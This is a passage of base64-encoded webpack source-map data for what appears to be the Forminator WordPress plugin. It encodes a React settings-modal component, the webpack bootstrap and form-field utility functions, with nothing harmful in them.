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sS0FBS3BPLFVBSG5CO0FBSUMsaUJBQVUsTUFKWDtBQUtDLG1CQUFZO0FBTGI7QUFRQyxtQ0FBQyxlQUFEO0FBQ0MsVUFBRywyQ0FESixDQUNnRDtBQURoRCxRQUVDLE9BQVEsc0JBQVcsb0JBQVgsQ0FGVDtBQUdDLFlBQUs7QUFITixPQVJEO0FBY0M7QUFBQTtBQUFBLFFBQUcsV0FBVSxpQkFBYjtBQUFpQ2pKO0FBQWpDO0FBZEQsS0FGRDtBQW9CQztBQUFDLHFCQUFEO0FBQUE7QUFDQyxtQkFBWTtBQURiO0FBSUMsbUNBQUMsZUFBRDtBQUNDLGFBQVEsc0JBQVcsUUFBWCxDQURUO0FBRUMsa0JBQWEsS0FBS2lKLFVBRm5CO0FBR0MsbUJBQVk7QUFIYixPQUpEO0FBVUM7QUFBQTtBQUFBO0FBQ0Msa0JBQVUscUVBRFg7QUFFQyxnQkFBVSxLQUFLdWI7QUFGaEI7QUFLQztBQUFBO0FBQUEsU0FBTSxXQUFVLGtCQUFoQjtBQUNDLDRDQUFHLFdBQVUsZ0JBQWIsRUFBOEIsZUFBWSxNQUExQyxHQUREO0FBRUcsNkJBQVcsUUFBWDtBQUZILE9BTEQ7QUFVQywyQ0FBRyxXQUFVLDZCQUFiLEVBQTJDLGVBQVksTUFBdkQ7QUFWRDtBQVZEO0FBcEJELElBREQ7QUFpREE7Ozs7RUF2S2lEdGtCLGdCOztrQkFBOUJzZSxxQiIsImZpbGUiOiJzZXR0aW5ncy5qcyIsInNvdXJjZXNDb250ZW50IjpbIiBcdC8vIFRoZSBtb2R1bGUgY2FjaGVcbiBcdHZhciBpbnN0YWxsZWRNb2R1bGVzID0ge307XG5cbiBcdC8vIFRoZSByZXF1aXJlIGZ1bmN0aW9uXG4gXHRmdW5jdGlvbiBfX3dlYnBhY2tfcmVxdWlyZV9fKG1vZHVsZUlkKSB7XG5cbiBcdFx0Ly8gQ2hlY2sgaWYgbW9kdWxlIGlzIGluIGNhY2hlXG4gXHRcdGlmKGluc3RhbGxlZE1vZHVsZXNbbW9kdWxlSWRdKSB7XG4gXHRcdFx0cmV0dXJuIGluc3RhbGxlZE1vZHVsZXNbbW9kdWxlSWRdLmV4cG9ydHM7XG4gXHRcdH1cbiBcdFx0Ly8gQ3JlYXRlIGEgbmV3IG1vZHVsZSAoYW5kIHB1dCBpdCBpbnRvIHRoZSBjYWNoZSlcbiBcdFx0dmFyIG1vZHVsZSA9IGluc3RhbGxlZE1vZHVsZXNbbW9kdWxlSWRdID0ge1xuIFx0XHRcdGk6IG1vZHVsZUlkLFxuIFx0XHRcdGw6IGZhbHNlLFxuIFx0XHRcdGV4cG9ydHM6IHt9XG4gXHRcdH07XG5cbiBcdFx0Ly8gRXhlY3V0ZSB0aGUgbW9kdWxlIGZ1bmN0aW9uXG4gXHRcdG1vZHVsZXNbbW9kdWxlSWRdLmNhbGwobW9kdWxlLmV4cG9ydHMsIG1vZHVsZSwgbW9kdWxlLmV4cG9ydHMsIF9fd2VicGFja19yZXF1aXJlX18pO1xuXG4gXHRcdC8vIEZsYWcgdGhlIG1vZHVsZSBhcyBsb2FkZWRcbiBcdFx0bW9kdWxlLmwgPSB0cnVlO1xuXG4gXHRcdC8vIFJldHVybiB0aGUgZXhwb3J0cyBvZiB0aGUgbW9kdWxlXG4gXHRcdHJldHVybiBtb2R1bGUuZXhwb3J0cztcbiBcdH1cblxuXG4gXHQvLyBleHBvc2UgdGhlIG1vZHVsZXMgb2JqZWN0IChfX3dlYnBhY2tfbW9kdWxlc19fKVxuIFx0X193ZWJwYWNrX3JlcXVpcmVfXy5tID0gbW9kdWxlcztcblxuIFx0Ly8gZXhwb3NlIHRoZSBtb2R1bGUgY2FjaGVcbiBcdF9fd2VicGFja19yZXF1aXJlX18uYyA9IGluc3RhbGxlZE1vZHVsZXM7XG5cbiBcdC8vIGRlZmluZSBnZXR0ZXIgZnVuY3Rpb24gZm9yIGhhcm1vbnkgZXhwb3J0c1xuIFx0X193ZWJwYWNrX3JlcXVpcmVfXy5kID0gZnVuY3Rpb24oZXhwb3J0cywgbmFtZSwgZ2V0dGVyKSB7XG4gXHRcdGlmKCFfX3dlYnBhY2tfcmVxdWlyZV9fLm8oZXhwb3J0cywgbmFtZSkpIHtcbiBcdFx0XHRPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgbmFtZSwge1xuIFx0XHRcdFx0Y29uZmlndXJhYmxlOiBmYWxzZSxcbiBcdFx0XHRcdGVudW1lcmFibGU6IHRydWUsXG4gXHRcdFx0XHRnZXQ6IGdldHRlclxuIFx0XHRcdH0pO1xuIFx0XHR9XG4gXHR9O1xuXG4gXHQvLyBnZXREZWZhdWx0RXhwb3J0IGZ1bmN0aW9uIGZvciBjb21wYXRpYmlsaXR5IHdpdGggbm9uLWhhcm1vbnkgbW9kdWxlc1xuIFx0X193ZWJwYWNrX3JlcXVpcmVfXy5uID0gZnVuY3Rpb24obW9kdWxlKSB7XG4gXHRcdHZhciBnZXR0ZXIgPSBtb2R1bGUgJiYgbW9kdWxlLl9fZXNNb2R1bGUgP1xuIFx0XHRcdGZ1bmN0aW9uIGdldERlZmF1bHQoKSB7IHJldHVybiBtb2R1bGVbJ2RlZmF1bHQnXTsgfSA6XG4gXHRcdFx0ZnVuY3Rpb24gZ2V0TW9kdWxlRXhwb3J0cygpIHsgcmV0dXJuIG1vZHVsZTsgfTtcbiBcdFx0X193ZWJwYWNrX3JlcXVpcmVfXy5kKGdldHRlciwgJ2EnLCBnZXR0ZXIpO1xuIFx0XHRyZXR1cm4gZ2V0dGVyO1xuIFx0fTtcblxuIFx0Ly8gT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsXG4gXHRfX3dlYnBhY2tfcmVxdWlyZV9fLm8gPSBmdW5jdGlvbihvYmplY3QsIHByb3BlcnR5KSB7IHJldHVybiBPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwob2JqZWN0LCBwcm9wZXJ0eSk7IH07XG5cbiBcdC8vIF9fd2VicGFja19wdWJsaWNfcGF0aF9fXG4gXHRfX3dlYnBhY2tfcmVxdWlyZV9fLnAgPSBcIlwiO1xuXG4gXHQvLyBMb2FkIGVudHJ5IG1vZHVsZSBhbmQgcmV0dXJuIGV4cG9ydHNcbiBcdHJldHVybiBfX3dlYnBhY2tfcmVxdWlyZV9fKF9fd2VicGFja19yZXF1aXJlX18ucyA9IDgwNyk7XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gd2VicGFjay9ib290c3RyYXAgYjk0NWM3YzRhNmI2NmM5OTA1MzMiLCJtb2R1bGUuZXhwb3J0cyA9IFJlYWN0O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIGV4dGVybmFsIFwiUmVhY3RcIlxuLy8gbW9kdWxlIGlkID0gMFxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiaW1wb3J0IGkxOG4gZnJvbSAnaTE4bi13cC1wbHVnaW4nO1xuLyoqXG4gKiBSZXR1cm5zIHVuaXF1ZSA0IGRpZ2l0IG51bWJlclxuICpcbiAqIEByZXR1cm4ge251bWJlcn1cbiAqKi9cbmV4cG9ydCBmdW5jdGlvbiByYW5kTnVtYmVyKCkge1xuXHQvL3JldHVybiBNYXRoLmZsb29yKCBNYXRoLnJhbmRvbSgpICogOTk5OSApO1xuXHR2YXIgbWluID0gTWF0aC5jZWlsKCAxMDAwICk7XG5cdHZhciBtYXggPSBNYXRoLmZsb29yKCA5OTk5ICk7XG5cdHJldHVybiBNYXRoLmZsb29yKCBNYXRoLnJhbmRvbSgpICogKCBtYXggLSBtaW4gKSArIG1pbiApO1xufVxuXG4vKipcbiAqIFJldHVybnMgd3JhcHBlciB1bmlxIElEXG4gKlxuICogQHJldHVybiB7c3RyaW5nfVxuICoqL1xuZXhwb3J0IGZ1bmN0aW9uIGdlbmVyYXRlV3JhcHBlcklkKCkge1xuXHRyZXR1cm4gJ3dyYXBwZXItJyArIHJhbmROdW1iZXIoKSArICctJyArIHJhbmROdW1iZXIoKTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIHdyYXBwZXIgb2JqZWN0IGJ5IHdyYXBwZXIgSURcbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30gd3JhcHBlcklEIElEIG9mIHRoZSB3cmFwcGVyXG4gKiBAcGFyYW0ge2FycmF5fSB3cmFwcGVycyBjdXJyZW50IHdyYXBwZXJzXG4gKlxuICogQHJldHVybiB7c3RyaW5nfVxuICoqL1xuZXhwb3J0IGZ1bmN0aW9uIGdldFdyYXBwZXIoIHdyYXBwZXJJRCwgd3JhcHBlcnMgKSB7XG5cdGxldCB3cmFwcGVyT2JqZWN0O1xuXG5cdHdyYXBwZXJzLm1hcCggd3JhcHBlciA9PiB7XG5cdFx0aWYgKCB3cmFwcGVyLndyYXBwZXJfaWQgPT09IHdyYXBwZXJJRCApIHtcblx0XHRcdHdyYXBwZXJPYmplY3QgPSB3cmFwcGVyO1xuXHRcdH1cblx0fSApO1xuXG5cdHJldHVybiB3cmFwcGVyT2JqZWN0O1xufVxuXG4vKipcbiAqIFJldHVybiBwYXNzZWQgZGVmYXVsdCB2YWx1ZSBvciBlbXB0eSBpZiBpdCdzIEJhc2ljIHRoZW1lXG4gKlxuICogQHBhcmFtIHtTdHJpbmd9IGdldERlZmF1bHRWYWx1ZSBEZWZhdWx0IHZhbHVlXG4gKiBAcGFyYW0ge1N0cmluZ30gZm9ybURlc2lnbiBQcm9wZXJ0eVxuICogQHJldHVybiB7U3RyaW5nfVxuICovXG5leHBvcnQgZnVuY3Rpb24gZ2V0RGVmYXVsdFZhbHVlKCBwcm9wcywgZ2V0RGVmYXVsdFZhbHVlICkge1xuXHRyZXR1cm4gZ2V0VGhlbWVOYW1lKCBwcm9wcyApICE9PSAnYmFzaWMnID8gZ2V0RGVmYXVsdFZhbHVlIDogJyc7XG59XG5cbi8qKlxuICogR2V0IHByZWZpeCBmb3IgcHJvcGVydGllcyBpZiBpdCdzIEJhc2ljIHRoZW1lXG4gKlxuICogQHBhcmFtIHt0eXBlfSBmb3JtRGVzaWduIFByb3BlcnR5XG4gKiBAcmV0dXJuIHtTdHJpbmd9XG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBnZXRUaGVtZVByZWZpeCggcHJvcHMgKSB7XG5cdHJldHVybiBnZXRUaGVtZU5hbWUoIHByb3BzICkgPT09ICdiYXNpYycgPyAnYmFzaWMtJyA6ICcnO1xufVxuXG4vKipcbiAqIEdldCBkZXNpZ24gdGhlbWUgbmFtZVxuICpcbiAqIEBwYXJhbSB7dHlwZX0gcHJvcHNQcm9wZXJ0aWVzXG4gKiBAcmV0dXJuIHtTdHJpbmd9XG4gKi9cbmZ1bmN0aW9uIGdldFRoZW1lTmFtZSggcHJvcHMgKSB7XG5cdGlmICggXCJ1bmRlZmluZWRcIiAhPT0gdHlwZW9mIHByb3BzLmZvcm1EZXNpZ24gKSB7XG5cdFx0cmV0dXJuIHByb3BzLmZvcm1EZXNpZ247XG5cdH1cblxuXHRpZiAoIFwidW5kZWZpbmVkXCIgIT09IHR5cGVvZiBwcm9wcy5zZXR0aW5ncyAmJiBcInVuZGVmaW5lZFwiICE9PSB0eXBlb2YgcHJvcHMuc2V0dGluZ3NbJ2Zvcm1pbmF0b3ItcG9sbC1kZXNpZ24nXSApXG5cdFx0cmV0dXJuIHByb3BzLnNldHRpbmdzWydmb3JtaW5hdG9yLXBvbGwtZGVzaWduJ107XG5cblx0aWYgKCBcInVuZGVmaW5lZFwiICE9PSB0eXBlb2YgcHJvcHMucXVpekRlc2lnbiApXG5cdFx0cmV0dXJuIHByb3BzLnF1aXpEZXNpZ247XG5cblx0cmV0dXJuICcnO1xufVxuXG4vKipcbiAqIFJldHVybnMgYWxsIGZpZWxkIHR5cGVzIGRpc2FibGVkIGluc2lkZSBHcm91cCBGaWVsZHNcbiAqXG4gKiBAcmV0dXJuIHthcnJheX1cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHJlc3RyaWN0ZWRHcm91cEZpZWxkcygpIHtcblx0cmV0dXJuIFsgJ3BhZ2UtYnJlYWsnLCAncGF5cGFsJywgJ3N0cmlwZScsICdzaWduYXR1cmUnLCAnY2FwdGNoYScsICdwb3N0ZGF0YScsICdncm91cCcgXTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIGFsbCBmaWVsZCB0eXBlcyB0aGF0IHNob3VsZCBvbmx5IG9jY3VweSBhIHNpbmdsZSByb3cuIDsoXG4gKiBGaWVsZCBjYW4gb25seSBiZSBhZGRlZCBmb3IgbmV3L3VucmVsZWFzZWQgZmllbGQgdHlwZXMuXG4gKlxuICogQHJldHVybiB7YXJyYXl9XG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBsb25lckZpZWxkcygpIHtcblx0cmV0dXJuIFsgJ3BkZi1wYWdlLWJyZWFrJywgJ2FsbC1mb3JtLWRhdGEnIF07XG59XG5cbi8qKlxuICogUmV0dXJucyBhbGwgYmVoYXZpb3IgdHlwZXNcbiAqXG4gKiBAcmV0dXJuIHtvYmplY3R9XG4gKi9cbmV4cG9ydCBmdW5jdGlvbiBnZXRTdWJtaXNzaW9uQmVoYXZpb3JzKCkge1xuXHRyZXR1cm4ge1xuXHRcdCdiZWhhdmlvdXItdGhhbmt5b3UnOiB0cmFuc2xhdGUoICdJbmxpbmUgTWVzc2FnZScgKSxcblx0XHQnYmVoYXZpb3VyLXJlZGlyZWN0JzogdHJhbnNsYXRlKCAnUmVkaXJlY3QgdXNlciB0byBhIFVSTCcgKSxcblx0XHQnYmVoYXZpb3VyLWhpZGUnOiB0cmFuc2xhdGUoICdIaWRlIGZvcm0nIClcblx0fTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIGNvdW50IG9mIGV4aXN0aW5nIGZpZWxkcyBieSB0eXBlXG4gKlxuICogQHBhcmFtIHtzdHJpbmd9IHR5cGUgdHlwZSBvZiBmaWVsZFxuICogQHBhcmFtIHthcnJheX0gd3JhcHBlcnMgY3VycmVudCB3cmFwcGVyc1xuICpcbiAqIEByZXR1cm4ge251bWJlcn1cbiAqKi9cbmV4cG9ydCBmdW5jdGlvbiBjb3VudEZpZWxkc0J5VHlwZSggdHlwZSwgd3JhcHBlcnMgKSB7XG5cdGxldCBjb3VudGVyID0gMDtcblxuXHR3cmFwcGVycy5tYXAoIHdyYXBwZXIgPT4ge1xuXHRcdHdyYXBwZXIuZmllbGRzLm1hcCggZmllbGQgPT4ge1xuXHRcdFx0aWYgKCBmaWVsZC50eXBlID09PSB0eXBlICkge1xuXHRcdFx0XHRjb3VudGVyKys7XG5cdFx0XHR9XG5cdFx0fSApO1xuXHR9ICk7XG5cblx0cmV0dXJuIGNvdW50ZXI7XG59XG5cbi8qKlxuICogUmV0dXJucyBtYXggSUQgbnVtYmVyIGJ5IHR5cGVcbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30gdHlwZSB0eXBlIG9mIGZpZWxkXG4gKiBAcGFyYW0ge2FycmF5fSB3cmFwcGVycyBjdXJyZW50IHdyYXBwZXJzXG4gKlxuICogQHJldHVybiB7bnVtYmVyfVxuICoqL1xuZXhwb3J0IGZ1bmN0aW9uIGdldE1heElEQnlUeXBlKCB0eXBlLCB3cmFwcGVycyApIHtcblx0Y29uc3QgZmllbGRJRHMgPSBbXTtcblxuXHR3cmFwcGVycy5tYXAoIHdyYXBwZXIgPT4ge1xuXHRcdHdyYXBwZXIuZmllbGRzLm1hcCggZmllbGQgPT4ge1xuXHRcdFx0aWYgKCBmaWVsZC50eXBlID09PSB0eXBlICkge1xuXHRcdFx0XHRjb25zdCBmaWVsZElkID0gZmllbGQuZWxlbWVudF9pZDtcblx0XHRcdFx0Y29uc3QgZmllbGRJZEFycmF5ID0gZmllbGRJZC5zcGxpdCggJy0nICk7XG5cdFx0XHRcdHN3aXRjaCAoIGZpZWxkLnR5cGUgKSB7XG5cdFx0XHRcdFx0Y2FzZSAncGFnZS1icmVhayc6XG5cdFx0XHRcdFx0Y2FzZSAncmljaC10ZXh0Jzpcblx0XHRcdFx0XHRcdGZpZWxkSURzLnB1c2goIHBhcnNlSW50KCBmaWVsZElkQXJyYXlbIDIgXSApICk7XG5cdFx0XHRcdFx0XHRicmVhaztcblx0XHRcdFx0XHRjYXNlICdhbGwtZm9ybS1kYXRhJzpcblx0XHRcdFx0XHRjYXNlICdwZGYtcGFnZS1icmVhayc6XG5cdFx0XHRcdFx0XHRmaWVsZElEcy5wdXNoKCBwYXJzZUludCggZmllbGRJZEFycmF5WyAzIF0gKSApO1xuXHRcdFx0XHRcdFx0YnJlYWs7XG5cdFx0XHRcdFx0ZGVmYXVsdDpcblx0XHRcdFx0XHRcdGZpZWxkSURzLnB1c2goIHBhcnNlSW50KCBmaWVsZElkQXJyYXlbIDEgXSApIClcblx0XHRcdFx0XHRcdGJyZWFrO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fSApO1xuXHR9ICk7XG5cblx0bGV0IG1heFZhbHVlID0gMDtcblxuXHRpZiAoICEgXy5pc0VtcHR5KCBmaWVsZElEcyApICkge1xuXHRcdG1heFZhbHVlID0gXy5tYXgoIGZpZWxkSURzICk7XG5cdH1cblxuXHRyZXR1cm4gcGFyc2VJbnQoIG1heFZhbHVlICkgKyAxO1xufVxuXG5leHBvcnQgZnVuY3Rpb24gZ2V0TWF4SUQoIHR5cGUsIHZhbHVlcyApIHtcblx0Y29uc3QgaWRzID0gW107XG5cblx0Xy5tYXAoIHZhbHVlcywgdmFsdWUgPT4ge1xuXHRcdGNvbnN0IGZpZWxkSWQgPSB2YWx1ZS5lbGVtZW50X2lkO1xuXHRcdGNvbnN0IGZpZWxkSWRBcnJheSA9IGZpZWxkSWQuc3BsaXQoICctJyApO1xuXG5cdFx0aWRzLnB1c2goIHBhcnNlSW50KCBmaWVsZElkQXJyYXlbIDEgXSApICk7XG5cdH0gKTtcblxuXHRsZXQgbWF4VmFsdWUgPSAwO1xuXG5cdGlmICggISBfLmlzRW1wdHkoIGlkcyApICkge1xuXHRcdG1heFZhbHVlID0gXy5tYXgoIGlkcyApO1xuXHR9XG5cblx0cmV0dXJuIHBhcnNlSW50KCBtYXhWYWx1ZSApICsgMTtcbn1cblxuLyoqXG4gKiBSZXR1cm5zIExhYmVsIGNvbnZlcnRlZCB0byB2YWx1ZVxuICpcbiAqIEBwYXJhbSB7c3RyaW5nfSB2YWx1ZSBlbnRlcmVkIGxhYmVsXG4gKlxuICogQHJldHVybiB7c3RyaW5nfVxuICoqL1xuZXhwb3J0IGZ1bmN0aW9uIGdlbmVyYXRlVmFsdWUoIHZhbHVlICkge1xuXHR2YWx1ZSA9IHZhbHVlLnRyaW0oKS5yZXBsYWNlKCAvXFxzK3xcXC8vZywgJy0nICk7XG5cblx0cmV0dXJuIHZhbHVlO1xufVxuXG4vKipcbiAqIFJldHVybiB0cnVlIGlmIGl0J3MgR2xvYmFsIEFwcGVhcmFuY2UgUHJlc2V0XG4gKlxuICogQHBhcmFtIHthcnJheX0gd3JhcHBlcnMgY3VycmVudCB3cmFwcGVyc1xuICogQHJldHVybiB7Qm9vbGVhbn1cbiAqL1xuZnVuY3Rpb24gaXNHbG9iYWxQcmVzZXQoIHdyYXBwZXJzICkge1xuXHRyZXR1cm4gbnVsbCA9PT0gd3JhcHBlcnM7XG59XG5cbi8qKlxuICogUmV0dXJucyB0cnVlIGlmIGZpZWxkIGV4aXN0XG4gKlxuICogQHBhcmFtIHtzdHJpbmd9IHR5cGUgdHlwZSBvZiBmaWVsZFxuICogQHBhcmFtIHthcnJheX0gd3JhcHBlcnMgY3VycmVudCB3cmFwcGVyc1xuICpcbiAqIEByZXR1cm4ge2Jvb2x9XG4gKiovXG5leHBvcnQgZnVuY3Rpb24gaGFzRmllbGRUeXBlKCB0eXBlLCB3cmFwcGVycyApIHtcblx0bGV0IGNvdW50ZXIgPSAwO1xuXG5cdGlmICggaXNHbG9iYWxQcmVzZXQoIHdyYXBwZXJzICkgKSB7XG5cdFx0cmV0dXJuIHRydWU7XG5cdH1cblxuXHR3cmFwcGVycy5tYXAoIHdyYXBwZXIgPT4ge1xuXHRcdHdyYXBwZXIuZmllbGRzLm1hcCggZmllbGQgPT4ge1xuXHRcdFx0aWYgKCBmaWVsZC50eXBlID09PSB0eXBlICkge1xuXHRcdFx0XHRjb3VudGVyKys7XG5cdFx0XHR9XG5cdFx0fSApO1xuXHR9ICk7XG5cblx0cmV0dXJuIGNvdW50ZXIgPiAwO1xufVxuXG4vKipcbiAqIFJldHVybnMgYXJyYXkgb2YgZmllbGRzIGJ5IHR5cGVcbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30gdHlwZSB0eXBlIG9mIGZpZWxkXG4gKiBAcGFyYW0ge2FycmF5fSB3cmFwcGVycyBjdXJyZW50IHdyYXBwZXJzXG4gKlxuICogQHJldHVybiB7YXJyYXl9XG4gKiovXG5leHBvcnQgZnVuY3Rpb24gZ2V0RmllbGRzQnlUeXBlKCB0eXBlLCB3cmFwcGVycyApIHtcblx0Y29uc3QgZmllbGRzID0gW107XG5cblx0d3JhcHBlcnMubWFwKCB3cmFwcGVyID0+IHtcblx0XHR3cmFwcGVyLmZpZWxkcy5tYXAoIGZpZWxkID0+IHtcblx0XHRcdGlmICggZmllbGQudHlwZSA9PT0gdHlwZSApIHtcblx0XHRcdFx0ZmllbGRzLnB1c2goIGZpZWxkICk7XG5cdFx0XHR9XG5cdFx0fSApO1xuXHR9ICk7XG5cblx0cmV0dXJuIGZpZWxkcztcbn1cblxuLyoqXG4gKiBSZXR1cm5zIGFycmF5IG9mIGZpZWxkcyBieSB0eXBlIG1hcHBlZCBmb3Igc2VsZWN0IGZpZWxkXG4gKlxuICogQHBhcmFtIHtzdHJpbmd9IHR5cGUgdHlwZSBvZiBmaWVsZFxuICogQHBhcmFtIHthcnJheX0gd3JhcHBlcnMgY3VycmVudCB3cmFwcGVyc1xuICpcbiAqIEByZXR1cm4ge2FycmF5fVxuICoqL1xuZXhwb3J0IGZ1bmN0aW9uIG1hcEZpZWxkc0J5VHlwZSggdHlwZSwgd3JhcHBlcnMgKSB7XG5cdGNvbnN0IGZpZWxkcyA9IFtdO1xuXHRjb25zdCBmaWVsZHNCeVR5cGUgPSBnZXRGaWVsZHNCeVR5cGUoIHR5cGUsIHdyYXBwZXJzICk7XG5cdGZpZWxkc0J5VHlwZS5tYXAoIGZpZWxkID0+IHtcblx0XHRsZXQgbGFiZWwgPSBmaWVsZC5